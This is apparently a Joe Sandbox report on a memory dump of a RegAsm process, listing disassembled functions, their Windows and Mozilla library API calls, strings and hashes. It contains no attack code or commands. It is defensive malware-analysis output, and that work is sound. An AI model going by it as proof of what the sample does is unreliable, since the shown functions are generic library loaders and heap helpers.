Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminReleaseContext$wintrust.dll
API String ID: 145871493-1489773717
Opcode ID: 459fb640ea98efd967dc6177afb98ff0ac7e5195dc288a9eb85922e8790f1ff8
Instruction ID: 6c813ce744cfe635db1875e1d0f3fc86617c0e96149d89f530fa0445e30a4906
Opcode Fuzzy Hash: 459fb640ea98efd967dc6177afb98ff0ac7e5195dc288a9eb85922e8790f1ff8
Instruction Fuzzy Hash: 64E09A7C6853859FEF109FEAD8587027BF8EB07345F104419E905D5750EBB294009B29

Function 6CC70170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CC47308), ref: 6CC70178
GetProcAddress.KERNEL32(00000000,CryptCATCatalogInfoFromContext), ref: 6CC70197
FreeLibrary.KERNEL32(?,6CC47308), ref: 6CC701AE

Strings

CryptCATCatalogInfoFromContext, xrefs: 6CC70191
wintrust.dll, xrefs: 6CC70173

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATCatalogInfoFromContext$wintrust.dll
API String ID: 145871493-3354427110
Opcode ID: 2c10eea644964ad41764629312dd97f716fffab30680da5ba03cbe5ad45da9c0
Instruction ID: 1e164a6c63df0a79473e0ed516c8980176ddbd5d85c38187c7d0427882f9e1a7
Opcode Fuzzy Hash: 2c10eea644964ad41764629312dd97f716fffab30680da5ba03cbe5ad45da9c0
Instruction Fuzzy Hash: 8CE04FBC6813419FEF105FE5D969B013BF8F707345F100056E986C1790E7B28040CB28

Function 6CC70120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CC47297), ref: 6CC70128
GetProcAddress.KERNEL32(00000000,CryptCATAdminEnumCatalogFromHash), ref: 6CC70147
FreeLibrary.KERNEL32(?,6CC47297), ref: 6CC7015E

Strings

wintrust.dll, xrefs: 6CC70123
CryptCATAdminEnumCatalogFromHash, xrefs: 6CC70141

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminEnumCatalogFromHash$wintrust.dll
API String ID: 145871493-1536241729
Opcode ID: 3bb22ac3be42e3246bda19ba6a3b5ea62f9b55676c3b2f5ec7ab2f0b129004e3
Instruction ID: acfabc2c0379f4a697979956ffc150894891bb0f9f11a9cfd44413091fb449c6
Opcode Fuzzy Hash: 3bb22ac3be42e3246bda19ba6a3b5ea62f9b55676c3b2f5ec7ab2f0b129004e3
Instruction Fuzzy Hash: 0FE0927C6453859FEF106FEAD8587167AF8F707345F104015AA06D6B60EBB3C400CB69

Function 6CC9C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CC9C0E9), ref: 6CC9C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CC9C437
FreeLibrary.KERNEL32(?,6CC9C0E9), ref: 6CC9C44C

Strings

NtQueryVirtualMemory, xrefs: 6CC9C431
ntdll.dll, xrefs: 6CC9C413

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: ecf190e8655b9f2272bc3c3554aae5bea1a44b9d5c7d13f755fb78c8d2b28e7e
Instruction ID: 3891445e8c9b70eaa66cb6624ab46c56df29eb743415b65ae7d71ea7b268d550
Opcode Fuzzy Hash: ecf190e8655b9f2272bc3c3554aae5bea1a44b9d5c7d13f755fb78c8d2b28e7e
Instruction Fuzzy Hash: AAE0927C6053419FDB006FF5C9587127AF8A717304F004116AA0991B60EBB2C4018B58

Function 6CC975B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CC9748B,?), ref: 6CC975B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CC975D7
FreeLibrary.KERNEL32(?,6CC9748B,?), ref: 6CC975EC

Strings

RtlNtStatusToDosError, xrefs: 6CC975D1
ntdll.dll, xrefs: 6CC975B3

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: d3d649e1be201a315bd4cbde7794e23b7e6f9418d119ee6a395d70f57391d10e
Instruction ID: 348c6c644ae85138cc4783dc4b3a9e6899b23022aa0d8daaea1c2cbca9274b5b
Opcode Fuzzy Hash: d3d649e1be201a315bd4cbde7794e23b7e6f9418d119ee6a395d70f57391d10e
Instruction Fuzzy Hash: 78E0B6BD605342AFEF006FE2C8987037AF8EB06218F1040A5B905F1750EBF08492CF18

Function 6CC97600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CC97592), ref: 6CC97608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CC97627
FreeLibrary.KERNEL32(?,6CC97592), ref: 6CC9763C

Strings

NtUnmapViewOfSection, xrefs: 6CC97621
ntdll.dll, xrefs: 6CC97603

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 2c89db1f35db4f091a63ad2647cb40e3740ec44f9e49b4c19eedbc4ab9510053
Instruction ID: f09001c65f94cf9f0539091b7df4eacd722370439b093256ad51bde58d0dcde6
Opcode Fuzzy Hash: 2c89db1f35db4f091a63ad2647cb40e3740ec44f9e49b4c19eedbc4ab9510053
Instruction Fuzzy Hash: 8AE092BC605381AFDF006FEA889C7027AB8EB1B259F004195E905E1750EBB084118B1C

Function 6CC9C1F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CC9C1DE,?,00000000,?,00000000,?,6CC4779F), ref: 6CC9C1F8
GetProcAddress.KERNEL32(00000000,WinVerifyTrust), ref: 6CC9C217
FreeLibrary.KERNEL32(?,6CC9C1DE,?,00000000,?,00000000,?,6CC4779F), ref: 6CC9C22C

Strings

wintrust.dll, xrefs: 6CC9C1F3
WinVerifyTrust, xrefs: 6CC9C211

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: WinVerifyTrust$wintrust.dll
API String ID: 145871493-2991032369
Opcode ID: 944add89c3aaa2ed1a81b62d78922f782d7e43046e41ef106c66fc6fab4a38d9
Instruction ID: c0d634407497902ba80a9551aff08cc22458bd3bf3b3ebcada0a83bbaaa9899e
Opcode Fuzzy Hash: 944add89c3aaa2ed1a81b62d78922f782d7e43046e41ef106c66fc6fab4a38d9
Instruction Fuzzy Hash: C6E0B67C2053959FDF007FE5C958B027FF8AB07304F000519A905D1B51E7B284008B69

Function 6CC9C290 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CC477C5), ref: 6CC9C298
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle), ref: 6CC9C2B7
FreeLibrary.KERNEL32(?,6CC477C5), ref: 6CC9C2CC

Strings

wintrust.dll, xrefs: 6CC9C293
CryptCATAdminCalcHashFromFileHandle, xrefs: 6CC9C2B1

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle$wintrust.dll
API String ID: 145871493-1423897460
Opcode ID: 9ac4e1da2295e261816f421e4870174151b3b63ea2475a35e2c15ca6c8059384
Instruction ID: 22693c313599fa5b7bba1ec44057a73efbe3959b4ee393bb913a7c016af343bc
Opcode Fuzzy Hash: 9ac4e1da2295e261816f421e4870174151b3b63ea2475a35e2c15ca6c8059384
Instruction Fuzzy Hash: 01E0927C2453019FDF006FE9C9587027BF8EB07304F440015A90991B60E7B28400CA59

Function 6CC9BAB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernelbase.dll,?,6CC405BC), ref: 6CC9BAB8
GetProcAddress.KERNEL32(00000000,VirtualAlloc2), ref: 6CC9BAD7
FreeLibrary.KERNEL32(?,6CC405BC), ref: 6CC9BAEC

Strings

kernelbase.dll, xrefs: 6CC9BAB3
VirtualAlloc2, xrefs: 6CC9BAD1

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: VirtualAlloc2$kernelbase.dll
API String ID: 145871493-1188699709
Opcode ID: 4d57459089094487dbcfaa10be7217c7e17b2296683dfc165a334f37864261c7
Instruction ID: f22b3bd1483651223e18f82dd4b4653c010d7634243b07a83f93fe8e15e54be5
Opcode Fuzzy Hash: 4d57459089094487dbcfaa10be7217c7e17b2296683dfc165a334f37864261c7
Instruction Fuzzy Hash: 6DE0B67C6053C2AFDF129FE6D969706BBF8A707208F14001AB90991750FBBA88548B28

Function 6CC9C240 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CC477F6), ref: 6CC9C248
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext), ref: 6CC9C267
FreeLibrary.KERNEL32(?,6CC477F6), ref: 6CC9C27C

Strings

wintrust.dll, xrefs: 6CC9C243
CryptCATAdminAcquireContext, xrefs: 6CC9C261

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext$wintrust.dll
API String ID: 145871493-3357690181
Opcode ID: 1fe2f5d1e798f6d9aace20f3d2a2c1d74146fba07a055ac1e6816ee3caee978c
Instruction ID: 9750f24c8266d4207b7a4b2c297eaa1fa43cedef32095a277488dbbd6eb4e7d1
Opcode Fuzzy Hash: 1fe2f5d1e798f6d9aace20f3d2a2c1d74146fba07a055ac1e6816ee3caee978c
Instruction Fuzzy Hash: D6E0B67C2043099FDF046FE2D898B027FF8E70B30AF104055E905D2750E7B284409F59

Function 6CC9BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CC9BE49), ref: 6CC9BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CC9BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CC9BE49), ref: 6CC9BF38
RtlReAllocateHeap.NTDLL ref: 6CC9BF83
RtlFreeHeap.NTDLL(6CC9BE49,00000000), ref: 6CC9BFA6

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 13c1726869c39de2c7cb3a8f289b194f4574953783f52e91698aeb832841d98a
Instruction ID: 8a86a363faa782c4c098ccf222a2f50d9a735a636dd1f8795293fe31ed1f7d9e
Opcode Fuzzy Hash: 13c1726869c39de2c7cb3a8f289b194f4574953783f52e91698aeb832841d98a
Instruction Fuzzy Hash: 9F519376B002159FE724CF69CD90B9AB3A6FF84314F294639D51AA7B54E730F9068B80

Function 6CC88E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CC7B58D,?,?,?,?,?,?,?,6CCAD734,?,?,?,6CCAD734), ref: 6CC88E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CC7B58D,?,?,?,?,?,?,?,6CCAD734,?,?,?,6CCAD734), ref: 6CC88EBF
free.MOZGLUE(?,?,?,?,6CC7B58D,?,?,?,?,?,?,?,6CCAD734,?,?,?), ref: 6CC88F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CC7B58D,?,?,?,?,?,?,?,6CCAD734,?,?,?,6CCAD734), ref: 6CC88F46
free.MOZGLUE(?,?,?,?,6CC7B58D,?,?,?,?,?,?,?,6CCAD734,?,?,?), ref: 6CC88F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CC7B58D,?,?,?,?,?,?,?,6CCAD734,?,?,?), ref: 6CC88F8F

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d42b4b7b850b26f8ca7545d2284dc1bb8744d043945684070f58be811e1cb552
Instruction ID: 3996c22df2696e7c95a5e473bbe47d7e6a0046f0772a66803eab0eb555d8813e
Opcode Fuzzy Hash: d42b4b7b850b26f8ca7545d2284dc1bb8744d043945684070f58be811e1cb552
Instruction Fuzzy Hash: 855191B5A022168FEB14CF58D880A6F7BB2BF4431CF55052AD516ABB40F731F905CBA1

Function 6CC460E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CC45FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC460F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CC45FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC46180
free.MOZGLUE(?,?,?,?,6CC45FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC46211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CC45FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC46229
free.MOZGLUE(?,?,?,?,6CC45FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC4625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CC45FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC46271

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: f8ba86d1d1e1de648e24742d604f486eb4abb4ee1e17eb6949d66aff11713945
Instruction ID: 0f7d0d423d1ad9f97f33597df31427babf499a056e1dcd41c4756e7a842764cb
Opcode Fuzzy Hash: f8ba86d1d1e1de648e24742d604f486eb4abb4ee1e17eb6949d66aff11713945
Instruction Fuzzy Hash: A151BBB1A00A069FEB14CFA8D8807AEB7B5FF49308F208539D616D7715F731AA19CB51

Function 6CC827E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CC82620,?,?,?,6CC760AA,6CC75FCB,6CC779A3), ref: 6CC8284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CC82620,?,?,?,6CC760AA,6CC75FCB,6CC779A3), ref: 6CC8289A
free.MOZGLUE(?,?,?,6CC82620,?,?,?,6CC760AA,6CC75FCB,6CC779A3), ref: 6CC828F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CC82620,?,?,?,6CC760AA,6CC75FCB,6CC779A3), ref: 6CC82910
free.MOZGLUE(00000001,?,?,6CC82620,?,?,?,6CC760AA,6CC75FCB,6CC779A3), ref: 6CC8293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CC82620,?,?,?,6CC760AA,6CC75FCB,6CC779A3), ref: 6CC8294E

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d51013bc4175baa451af49b4aa102f09a6bd09a68578f220f25933a2646bc7a9
Instruction ID: 41aeed2eae40dc61875893e2712f1ec6518153438c2b34b42fc713fc613a7413
Opcode Fuzzy Hash: d51013bc4175baa451af49b4aa102f09a6bd09a68578f220f25933a2646bc7a9
Instruction Fuzzy Hash: A141AFB1A012068FEB14CF68D89876B7BF6EB45308F250939D956EB740F731E905CB61

Function 6CC3CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CCBE784), ref: 6CC3CFF6
LeaveCriticalSection.KERNEL32(6CCBE784), ref: 6CC3D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6CC3D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6CC3D139

Strings

MOZ_CRASH(), xrefs: 6CC3D187

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 13b19b7ea74258da696513d70c52981f426b789ea78fd624b888345ac9e239f2
Instruction ID: 1d1fe39b57e9816c8628aa655bad432dc5f080289bf79c42a6fb95dad84e9059
Opcode Fuzzy Hash: 13b19b7ea74258da696513d70c52981f426b789ea78fd624b888345ac9e239f2
Instruction Fuzzy Hash: 1941BE72B113264FDB048EBD9D943AA76B0EB49B14F24013DEA19F7784E7B59C018BC8

Function 6CC34DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CC34E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CC34E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC34EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC34F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CC34F1E

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 211b947d8446e0edfccbaff786d33c418f2b2d5a631f6567252523424394b90c
Instruction ID: e4f3eb7713e0872eb3c081d0f68176fdd85a4310c73e7e28641e02e56747ae65
Opcode Fuzzy Hash: 211b947d8446e0edfccbaff786d33c418f2b2d5a631f6567252523424394b90c
Instruction Fuzzy Hash: F941E071608B119FC701CF69D88095BFBE4BF89344F149A2DF46987781EB32E958CB91

Function 6CC7D210 Relevance: 7.6, APIs: 5, Instructions: 115stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,6CC45820,?), ref: 6CC7D21F
moz_xmalloc.MOZGLUE(00000001,?,?,6CC45820,?), ref: 6CC7D22E

Part of subcall function 6CC4CA10: malloc.MOZGLUE(?), ref: 6CC4CA26

memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,6CC45820,?), ref: 6CC7D242
free.MOZGLUE(00000000,?,?,?,?,?,?,6CC45820,?), ref: 6CC7D253

Part of subcall function 6CC55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CC55EDB
Part of subcall function 6CC55E90: memset.VCRUNTIME140(6CC97765,000000E5,55CCCCCC), ref: 6CC55F27
Part of subcall function 6CC55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CC55FB2

memcpy.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,6CC45820,?), ref: 6CC7D280

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

